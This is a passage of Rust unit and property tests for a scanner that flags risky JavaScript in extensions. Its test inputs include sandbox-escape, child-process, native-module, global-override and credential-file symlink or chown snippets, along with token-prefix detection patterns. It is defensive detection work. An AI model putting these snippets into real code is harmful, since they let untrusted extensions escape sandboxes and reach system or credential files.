3615 let report = scan("const v = process.env.NODE_ENV;");
3616 assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3617 assert_eq!(report.overall_tier, RiskTier::Medium);
3618 }
3619
3620 #[test]
3621 fn detect_timer_abuse() {
3622 let report = scan("setInterval(pollServer, 1);");
3623 assert!(has_rule(&report, SecurityRuleId::TimerAbuse));
3624 }
3625
3626 #[test]
3627 fn normal_timer_not_flagged() {
3628 let report = scan("setInterval(tick, 1000);");
3629 assert!(!has_rule(&report, SecurityRuleId::TimerAbuse));
3630 }
3631
3632 #[test]
3633 fn detect_proxy_usage() {
3634 let report = scan("const p = new Proxy(target, handler);");
3635 assert!(has_rule(&report, SecurityRuleId::ProxyReflect));
3636 }
3637
3638 #[test]
3639 fn detect_reflect_usage() {
3640 let report = scan("const v = Reflect.get(obj, 'key');");
3641 assert!(has_rule(&report, SecurityRuleId::ProxyReflect));
3642 }
3643
3644 #[test]
3645 fn detect_with_statement() {
3646 let report = scan("with (obj) { x = 1; }");
3647 assert!(has_rule(&report, SecurityRuleId::WithStatement));
3648 }
3649
3650 #[test]
3653 fn detect_debugger_statement() {
3654 let report = scan("debugger;");
3655 assert!(has_rule(&report, SecurityRuleId::DebuggerStatement));
3656 assert_eq!(report.overall_tier, RiskTier::Low);
3657 }
3658
3659 #[test]
3660 fn detect_console_error() {
3661 let report = scan("console.error(sensitiveData);");
3662 assert!(has_rule(&report, SecurityRuleId::ConsoleInfoLeak));
3663 }
3664
3665 #[test]
3666 fn console_log_not_flagged() {
3667 let report = scan("console.log('hello');");
3669 assert!(!has_rule(&report, SecurityRuleId::ConsoleInfoLeak));
3670 }
3671
3672 #[test]
3675 fn report_schema_and_rulebook_version() {
3676 let report = scan("// clean");
3677 assert_eq!(report.schema, SECURITY_SCAN_SCHEMA);
3678 assert_eq!(report.rulebook_version, SECURITY_RULEBOOK_VERSION);
3679 }
3680
3681 #[test]
3682 fn report_json_roundtrip() {
3683 let report = scan("eval('bad'); process.env.KEY;");
3684 let json = report.to_json().unwrap();
3685 let back: SecurityScanReport = serde_json::from_str(&json).unwrap();
3686 assert_eq!(back.extension_id, "test-ext");
3687 assert_eq!(back.overall_tier, RiskTier::Critical);
3688 assert!(!back.findings.is_empty());
3689 }
3690
3691 #[test]
3692 #[allow(clippy::needless_raw_string_hashes)]
3693 fn report_tier_counts_accurate() {
3694 let report = scan(
3695 r#"
3696eval('bad');
3697const api_key = "sk-ant-secret";
3698process.env.KEY;
3699debugger;
3700"#,
3701 );
3702 assert!(report.tier_counts.critical >= 1);
3703 assert!(report.tier_counts.high >= 1);
3704 assert!(report.tier_counts.medium >= 1);
3705 assert!(report.tier_counts.low >= 1);
3706 }
3707
3708 #[test]
3709 fn findings_sorted_by_tier_worst_first() {
3710 let report = scan(
3711 r"
3712debugger;
3713eval('x');
3714process.env.KEY;
3715",
3716 );
3717 assert!(!report.findings.is_empty());
3719 assert_eq!(report.findings[0].risk_tier, RiskTier::Critical);
3720 let last = report.findings.last().unwrap();
3721 assert!(last.risk_tier >= report.findings[0].risk_tier);
3722 }
3723
3724 #[test]
3727 fn evidence_ledger_jsonl_format() {
3728 let report = scan("eval('x'); debugger;");
3729 let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
3730 let lines: Vec<&str> = jsonl.lines().collect();
3731 assert_eq!(lines.len(), report.findings.len());
3732 for line in &lines {
3733 let entry: SecurityEvidenceLedgerEntry = serde_json::from_str(line).unwrap();
3734 assert_eq!(entry.schema, SECURITY_EVIDENCE_LEDGER_SCHEMA);
3735 assert_eq!(entry.extension_id, "test-ext");
3736 assert_eq!(entry.rulebook_version, SECURITY_RULEBOOK_VERSION);
3737 }
3738 }
3739
3740 #[test]
3741 fn evidence_ledger_entry_indices_monotonic() {
3742 let report = scan("eval('a'); eval('b'); debugger;");
3743 let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
3744 let entries: Vec<SecurityEvidenceLedgerEntry> = jsonl
3745 .lines()
3746 .map(|l| serde_json::from_str(l).unwrap())
3747 .collect();
3748 for (i, entry) in entries.iter().enumerate() {
3749 assert_eq!(entry.entry_index, i);
3750 }
3751 }
3752
3753 #[test]
3756 fn single_line_comment_not_flagged() {
3757 let report = scan("// eval('bad');");
3758 assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
3759 }
3760
3761 #[test]
3762 fn block_comment_not_flagged() {
3763 let report = scan("/* eval('bad'); */");
3764 assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
3765 }
3766
3767 #[test]
3770 fn scan_is_deterministic() {
3771 let source = r#"
3772eval('x');
3773const api_key = "sk-ant-test";
3774process.env.HOME;
3775debugger;
3776"#;
3777 let r1 = scan(source);
3778 let r2 = scan(source);
3779 let j1 = r1.to_json().unwrap();
3780 let j2 = r2.to_json().unwrap();
3781 assert_eq!(j1, j2, "Security scan must be deterministic");
3782 }
3783
3784 #[test]
3787 fn multiple_rules_fire_on_same_line() {
3788 let report = scan("eval(process.env.SECRET);");
3790 assert!(has_rule(&report, SecurityRuleId::EvalUsage));
3791 assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3792 }
3793
3794 #[test]
3797 fn should_block_only_for_critical() {
3798 assert!(scan("eval('x');").should_block());
3799 assert!(!scan("process.env.X;").should_block());
3800 assert!(!scan("debugger;").should_block());
3801 }
3802
3803 #[test]
3804 fn needs_review_for_critical_and_high() {
3805 assert!(scan("eval('x');").needs_review());
3806 assert!(scan(r#"const api_key = "sk-ant-test";"#).needs_review());
3807 assert!(!scan("process.env.X;").needs_review());
3808 }
3809
3810 #[test]
3817 fn detect_child_process_exec() {
3818 let report = scan("const { exec } = require('child_process'); exec('ls');");
3819 assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
3820 assert_eq!(report.overall_tier, RiskTier::Critical);
3821 assert!(report.should_block());
3822 }
3823
3824 #[test]
3825 fn detect_child_process_spawn() {
3826 let report = scan("const cp = require('child_process'); cp.spawn('node', ['app.js']);");
3827 assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
3828 }
3829
3830 #[test]
3831 fn detect_child_process_fork() {
3832 let report = scan("childProcess.fork('./worker.js');");
3833 assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
3834 }
3835
3836 #[test]
3837 fn regular_exec_not_flagged_as_spawn() {
3838 let report = scan("const result = exec('query');");
3840 assert!(!has_rule(&report, SecurityRuleId::ChildProcessSpawn));
3841 }
3842
3843 #[test]
3846 fn detect_constructor_escape() {
3847 let report = scan("const fn = constructor.constructor('return this')();");
3848 assert!(has_rule(&report, SecurityRuleId::ConstructorEscape));
3849 assert_eq!(report.overall_tier, RiskTier::Critical);
3850 }
3851
3852 #[test]
3853 fn detect_constructor_escape_bracket() {
3854 let report = scan(r#"const fn = constructor["constructor"]('return this')();"#);
3855 assert!(has_rule(&report, SecurityRuleId::ConstructorEscape));
3856 }
3857
3858 #[test]
3861 fn detect_native_node_require() {
3862 let report = scan(r"const addon = require('./native.node');");
3863 assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
3864 assert_eq!(report.overall_tier, RiskTier::Critical);
3865 }
3866
3867 #[test]
3868 fn detect_native_so_require() {
3869 let report = scan(r"const lib = require('/usr/lib/evil.so');");
3870 assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
3871 }
3872
3873 #[test]
3874 fn detect_native_dylib_require() {
3875 let report = scan(r"const lib = require('./lib.dylib');");
3876 assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
3877 }
3878
3879 #[test]
3880 fn normal_require_not_flagged_as_native() {
3881 let report = scan(r"const fs = require('fs');");
3882 assert!(!has_rule(&report, SecurityRuleId::NativeModuleRequire));
3883 }
3884
3885 #[test]
3888 fn detect_global_this_mutation() {
3889 let report = scan("globalThis.fetch = evilFetch;");
3890 assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
3891 assert!(report.needs_review());
3892 }
3893
3894 #[test]
3895 fn detect_global_property_mutation() {
3896 let report = scan("global.process = fakeProcess;");
3897 assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
3898 }
3899
3900 #[test]
3901 fn detect_global_bracket_mutation() {
3902 let report = scan("globalThis['fetch'] = evilFetch;");
3903 assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
3904 }
3905
3906 #[test]
3907 fn global_read_not_flagged() {
3908 let report = scan("const f = globalThis.fetch;");
3910 assert!(!has_rule(&report, SecurityRuleId::GlobalMutation));
3911 }
3912
3913 #[test]
3916 fn detect_fs_symlink() {
3917 let report = scan("fs.symlinkSync('/etc/passwd', '/tmp/link');");
3918 assert!(has_rule(&report, SecurityRuleId::SymlinkCreation));
3919 assert!(report.needs_review());
3920 }
3921
3922 #[test]
3923 fn detect_fs_link() {
3924 let report = scan("fs.linkSync('/etc/shadow', '/tmp/hard');");
3925 assert!(has_rule(&report, SecurityRuleId::SymlinkCreation));
3926 }
3927
3928 #[test]
3931 fn detect_chmod() {
3932 let report = scan("fs.chmodSync('/tmp/script.sh', 0o777);");
3933 assert!(has_rule(&report, SecurityRuleId::PermissionChange));
3934 assert!(report.needs_review());
3935 }
3936
3937 #[test]
3938 fn detect_chown() {
3939 let report = scan("fs.chown('/etc/passwd', 0, 0, cb);");
3940 assert!(has_rule(&report, SecurityRuleId::PermissionChange));
3941 }
3942
3943 #[test]
3946 fn detect_create_server() {
3947 let report = scan("const server = http.createServer(handler);");
3948 assert!(has_rule(&report, SecurityRuleId::SocketListener));
3949 assert!(report.needs_review());
3950 }
3951
3952 #[test]
3953 fn detect_create_socket() {
3954 let report = scan("const sock = dgram.createSocket('udp4');");
3955 assert!(has_rule(&report, SecurityRuleId::SocketListener));
3956 }
3957
3958 #[test]
3961 fn detect_webassembly_instantiate() {
3962 let report = scan("const instance = await WebAssembly.instantiate(buffer);");
3963 assert!(has_rule(&report, SecurityRuleId::WebAssemblyUsage));
3964 assert!(report.needs_review());
3965 }
3966
3967 #[test]
3968 fn detect_webassembly_compile() {
3969 let report = scan("const module = WebAssembly.compile(bytes);");
3970 assert!(has_rule(&report, SecurityRuleId::WebAssemblyUsage));
3971 }
3972
3973 #[test]
3976 fn detect_arguments_callee() {
3977 let report = scan("const self = arguments.callee;");
3978 assert!(has_rule(&report, SecurityRuleId::ArgumentsCallerAccess));
3979 assert_eq!(report.overall_tier, RiskTier::Medium);
3980 }
3981
3982 #[test]
3983 fn detect_arguments_caller() {
3984 let report = scan("const parent = arguments.caller;");
3985 assert!(has_rule(&report, SecurityRuleId::ArgumentsCallerAccess));
3986 }
3987
3988 #[test]
3991 fn new_rule_id_serde_roundtrip() {
3992 let rules = [
3993 SecurityRuleId::ChildProcessSpawn,
3994 SecurityRuleId::ConstructorEscape,
3995 SecurityRuleId::NativeModuleRequire,
3996 SecurityRuleId::GlobalMutation,
3997 SecurityRuleId::SymlinkCreation,
3998 SecurityRuleId::PermissionChange,
3999 SecurityRuleId::SocketListener,
4000 SecurityRuleId::WebAssemblyUsage,
4001 SecurityRuleId::ArgumentsCallerAccess,
4002 ];
4003 for rule in &rules {
4004 let json = serde_json::to_string(rule).unwrap();
4005 let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
4006 assert_eq!(*rule, back, "roundtrip failed for {rule}");
4007 }
4008 }
4009
4010 #[test]
4011 fn new_rule_id_names_are_stable() {
4012 assert_eq!(
4013 serde_json::to_string(&SecurityRuleId::ChildProcessSpawn).unwrap(),
4014 "\"SEC-SPAWN-001\""
4015 );
4016 assert_eq!(
4017 serde_json::to_string(&SecurityRuleId::ConstructorEscape).unwrap(),
4018 "\"SEC-CONSTRUCTOR-001\""
4019 );
4020 assert_eq!(
4021 serde_json::to_string(&SecurityRuleId::NativeModuleRequire).unwrap(),
4022 "\"SEC-NATIVEMOD-001\""
4023 );
4024 assert_eq!(
4025 serde_json::to_string(&SecurityRuleId::GlobalMutation).unwrap(),
4026 "\"SEC-GLOBAL-001\""
4027 );
4028 }
4029
4030 #[test]
4033 fn scan_with_new_rules_is_deterministic() {
4034 let source = r"
4035eval('x');
4036const cp = require('child_process'); cp.exec('ls');
4037globalThis.foo = 'bar';
4038fs.symlinkSync('/a', '/b');
4039fs.chmodSync('/tmp/x', 0o777);
4040const s = http.createServer(h);
4041const m = WebAssembly.compile(b);
4042const c = arguments.callee;
4043constructor.constructor('return this')();
4044const addon = require('./evil.node');
4045";
4046 let r1 = scan(source);
4047 let r2 = scan(source);
4048 let j1 = r1.to_json().unwrap();
4049 let j2 = r2.to_json().unwrap();
4050 assert_eq!(j1, j2, "Scan with new rules must be deterministic");
4051 }
4052
4053 #[test]
4056 fn findings_sorted_deterministically_within_tier() {
4057 let findings = vec![
4058 SecurityFinding {
4059 rule_id: SecurityRuleId::ProcessEnvAccess,
4060 risk_tier: RiskTier::Medium,
4061 rationale: "env".into(),
4062 file: Some("b.ts".into()),
4063 line: Some(10),
4064 column: Some(1),
4065 snippet: None,
4066 },
4067 SecurityFinding {
4068 rule_id: SecurityRuleId::ProcessEnvAccess,
4069 risk_tier: RiskTier::Medium,
4070 rationale: "env".into(),
4071 file: Some("a.ts".into()),
4072 line: Some(5),
4073 column: Some(1),
4074 snippet: None,
4075 },
4076 ];
4077 let report = SecurityScanReport::from_findings("test".into(), findings);
4078 assert_eq!(
4080 report.findings[0].file.as_deref(),
4081 Some("a.ts"),
4082 "Findings should be sorted by file within tier"
4083 );
4084 assert_eq!(report.findings[1].file.as_deref(), Some("b.ts"));
4085 }
4086
4087 #[test]
4090 fn evidence_ledger_includes_new_rules() {
4091 let source = r"
4092constructor.constructor('return this')();
4093const m = WebAssembly.compile(b);
4094const c = arguments.callee;
4095";
4096 let report = scan(source);
4097 let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
4098 let entries: Vec<SecurityEvidenceLedgerEntry> = jsonl
4099 .lines()
4100 .map(|l| serde_json::from_str(l).unwrap())
4101 .collect();
4102 assert!(!entries.is_empty());
4103 assert!(
4104 entries
4105 .iter()
4106 .any(|e| e.rule_id == SecurityRuleId::ConstructorEscape)
4107 );
4108 assert!(
4109 entries
4110 .iter()
4111 .any(|e| e.rule_id == SecurityRuleId::WebAssemblyUsage)
4112 );
4113 for entry in &entries {
4115 assert_eq!(entry.rulebook_version, "2.0.0");
4116 }
4117 }
4118
4119 #[test]
4122 fn rulebook_version_is_v2() {
4123 assert_eq!(SECURITY_RULEBOOK_VERSION, "2.0.0");
4124 }
4125
4126 #[test]
4129 fn new_rule_default_tier_consistency() {
4130 assert_eq!(
4131 SecurityRuleId::ChildProcessSpawn.default_tier(),
4132 RiskTier::Critical
4133 );
4134 assert_eq!(
4135 SecurityRuleId::ConstructorEscape.default_tier(),
4136 RiskTier::Critical
4137 );
4138 assert_eq!(
4139 SecurityRuleId::NativeModuleRequire.default_tier(),
4140 RiskTier::Critical
4141 );
4142 assert_eq!(
4143 SecurityRuleId::GlobalMutation.default_tier(),
4144 RiskTier::High
4145 );
4146 assert_eq!(
4147 SecurityRuleId::SymlinkCreation.default_tier(),
4148 RiskTier::High
4149 );
4150 assert_eq!(
4151 SecurityRuleId::PermissionChange.default_tier(),
4152 RiskTier::High
4153 );
4154 assert_eq!(
4155 SecurityRuleId::SocketListener.default_tier(),
4156 RiskTier::High
4157 );
4158 assert_eq!(
4159 SecurityRuleId::WebAssemblyUsage.default_tier(),
4160 RiskTier::High
4161 );
4162 assert_eq!(
4163 SecurityRuleId::ArgumentsCallerAccess.default_tier(),
4164 RiskTier::Medium
4165 );
4166 }
4167
4168 #[test]
4171 fn install_time_risk_blocks_critical_new_rules() {
4172 let source = "constructor.constructor('return this')();";
4173 let policy = ExtensionPolicy::default();
4174 let report = classify_extension_source("test-ext", source, &policy);
4175 assert!(report.should_block());
4176 assert_eq!(report.composite_risk_tier, RiskTier::Critical);
4177 assert_eq!(report.recommendation, InstallRecommendation::Block);
4178 }
4179
4180 #[test]
4181 fn install_time_risk_reviews_high_new_rules() {
4182 let source = "const m = WebAssembly.compile(bytes);";
4183 let policy = ExtensionPolicy::default();
4184 let report = classify_extension_source("test-ext", source, &policy);
4185 assert!(report.needs_review());
4186 assert!(matches!(
4187 report.composite_risk_tier,
4188 RiskTier::Critical | RiskTier::High
4189 ));
4190 }
4191
4192 #[test]
4195 fn commented_new_rules_not_flagged() {
4196 let report = scan("// constructor.constructor('return this')();");
4197 assert!(!has_rule(&report, SecurityRuleId::ConstructorEscape));
4198 }
4199
4200 #[test]
4201 fn block_commented_new_rules_not_flagged() {
4202 let report = scan("/* WebAssembly.compile(bytes); */");
4203 assert!(!has_rule(&report, SecurityRuleId::WebAssemblyUsage));
4204 }
4205
4206 mod proptest_preflight {
4209 use super::*;
4210 use proptest::prelude::*;
4211
4212 proptest! {
4213 #[test]
4214 fn eval_call_no_false_positive_on_method_calls(
4215 prefix in "[a-zA-Z]{1,10}",
4216 suffix in "[a-zA-Z0-9(), ]{0,20}",
4217 ) {
4218 let text = format!("{prefix}.eval({suffix})");
4220 assert!(
4221 !contains_eval_call(&text),
4222 "method call should not trigger eval detection: {text}"
4223 );
4224 }
4225
4226 #[test]
4227 fn eval_call_no_false_positive_on_identifier_suffix(
4228 prefix in "[a-zA-Z]{1,10}",
4229 ) {
4230 let text = format!("{prefix}eval(x)");
4232 let expected = !is_js_ident_continue(*prefix.as_bytes().last().unwrap());
4234 assert!(
4235 contains_eval_call(&text) == expected,
4236 "eval detection mismatch for '{text}': expected {expected}"
4237 );
4238 }
4239
4240 #[test]
4241 fn dynamic_import_never_triggers_on_static_imports(
4242 module in "[a-z@/.-]{1,30}",
4243 ) {
4244 let text = format!("import {{ foo }} from '{module}';");
4245 assert!(
4246 !contains_dynamic_import(&text),
4247 "static import should not trigger: {text}"
4248 );
4249 }
4250
4251 #[test]
4252 fn dynamic_import_detects_import_call(
4253 module in "[a-z@/.-]{1,20}",
4254 ) {
4255 let text = format!("const m = import('{module}');");
4256 assert!(
4257 contains_dynamic_import(&text),
4258 "dynamic import should be detected: {text}"
4259 );
4260 }
4261
4262 #[test]
4263 fn extract_quoted_string_roundtrips_double(
4264 content in "[a-zA-Z0-9 _.-]{0,50}",
4265 ) {
4266 let input = format!("\"{content}\" rest");
4267 let extracted = extract_quoted_string(&input);
4268 assert!(
4269 extracted == Some(content.clone()),
4270 "expected Some(\"{content}\"), got {extracted:?}"
4271 );
4272 }
4273
4274 #[test]
4275 fn extract_quoted_string_roundtrips_single(
4276 content in "[a-zA-Z0-9 _.-]{0,50}",
4277 ) {
4278 let input = format!("'{content}' rest");
4279 let extracted = extract_quoted_string(&input);
4280 assert!(
4281 extracted == Some(content.clone()),
4282 "expected Some('{content}'), got {extracted:?}"
4283 );
4284 }
4285
4286 #[test]
4287 fn extract_quoted_string_none_for_unquoted(
4288 text in "[a-zA-Z0-9]{1,20}",
4289 ) {
4290 assert!(
4291 extract_quoted_string(&text).is_none(),
4292 "unquoted text should return None: {text}"
4293 );
4294 }
4295
4296 #[test]
4297 fn is_debugger_statement_deterministic(
4298 text in "[ \t]{0,5}debugger[; \t]{0,5}",
4299 ) {
4300 let r1 = is_debugger_statement(&text);
4301 let r2 = is_debugger_statement(&text);
4302 assert!(r1 == r2, "is_debugger_statement must be deterministic");
4303 }
4304
4305 #[test]
4306 fn timer_abuse_only_triggers_below_10(interval in 0..100u64) {
4307 let text = format!("setInterval(fn, {interval});");
4308 let result = contains_timer_abuse(&text);
4309 if interval < 10 {
4310 assert!(result, "interval {interval} < 10 should trigger");
4311 } else {
4312 assert!(!result, "interval {interval} >= 10 should not trigger");
4313 }
4314 }
4315
4316 #[test]
4317 fn hardcoded_secret_detects_known_token_prefixes(
4318 prefix in prop::sample::select(vec![
4319 "sk-ant-".to_string(),
4320 "ghp_".to_string(),
4321 "gho_".to_string(),
4322 "glpat-".to_string(),
4323 "xoxb-".to_string(),
4324 ]),
4325 suffix in "[a-zA-Z0-9]{10,20}",
4326 ) {
4327 let text = format!("const token = \"{prefix}{suffix}\";");
4328 assert!(
4329 contains_hardcoded_secret(&text),
4330 "token prefix '{prefix}' should be detected: {text}"
4331 );
4332 }
4333
4334 #[test]
4335 fn hardcoded_secret_ignores_env_lookups(
4336 keyword in prop::sample::select(vec![
4337 "api_key".to_string(),
4338 "password".to_string(),
4339 "secret_key".to_string(),
4340 "auth_token".to_string(),
4341 ]),
4342 ) {
4343 let text = format!("process.env.{keyword}");
4344 assert!(
4345 !contains_hardcoded_secret(&text),
4346 "env lookup should not be flagged: {text}"
4347 );
4348 }
4349
4350 #[test]
4351 fn eval_call_no_false_positive_on_underscore_identifiers(
4352 _dummy in Just(()),
4353 ) {
4354 let text = "my_eval('code')";
4355 assert!(
4356 !contains_eval_call(text),
4357 "underscore identifier prefix should not trigger eval detection: {text}"
4358 );
4359 }
4360
4361 #[test]
4362 fn eval_call_no_false_positive_on_dollar_identifiers(
4363 _dummy in Just(()),
4364 ) {
4365 let text = "$eval('code')";
4366 assert!(
4367 !contains_eval_call(text),
4368 "dollar identifier prefix should not trigger eval detection: {text}"
4369 );
4370 }
4371 }
4372 }
4373}